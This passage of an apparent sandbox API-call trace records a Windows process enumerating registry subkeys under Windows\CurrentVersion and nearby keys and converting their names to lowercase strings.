lpName=0x38b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x38c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0028.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x68, lpName=0x38b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0028.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x69, lpName=0x38b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x38c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0028.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6a, lpName=0x38b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0028.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6b, lpName=0x38b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x38c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0028.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6c, lpName=0x38b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x38c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0028.183] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6d, lpName=0x38b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x38c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0028.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6e, lpName=0x38b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0028.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6f, lpName=0x38b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x38c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0028.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x70, lpName=0x38b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x38c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0028.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x71, lpName=0x38b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x38c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0028.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x72, lpName=0x38b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0028.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x73, lpName=0x38b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x38c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0028.184] RegEnumKeyW (in: hKey=0x34, dwIndex=0x74, lpName=0x38b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0028.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x75, lpName=0x38b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x38c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0028.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x76, lpName=0x38b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x38c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0028.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x77, lpName=0x38b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x38c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0028.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x78, lpName=0x38b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0028.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x79, lpName=0x38b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x38c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0028.185] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7a, lpName=0x38b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0028.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7b, lpName=0x38b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x38c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0028.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7c, lpName=0x38b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0028.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7d, lpName=0x38b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x38c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0028.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7e, lpName=0x38b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0028.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7f, lpName=0x38b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0028.186] RegEnumKeyW (in: hKey=0x34, dwIndex=0x80, lpName=0x38b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0028.186] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0028.187] RegCloseKey (hKey=0x34) returned 0x0 [0028.187] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x38b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x38c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0028.187] RegOpenKeyExW (in: hKey=0x90, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0028.187] RegCloseKey (hKey=0x90) returned 0x0 [0028.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x0, lpName=0x38b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x38c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0028.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1, lpName=0x38b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x38c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0028.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x2, lpName=0x38b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0028.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x3, lpName=0x38b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0028.187] RegEnumKeyW (in: hKey=0x34, dwIndex=0x4, lpName=0x38b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x38c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0028.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x5, lpName=0x38b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x38c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0028.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x6, lpName=0x38b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x38c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0028.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x7, lpName=0x38b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x38c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0028.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0x38b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0028.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0x38b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x38c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0028.188] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0x38b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0028.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0x38b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, 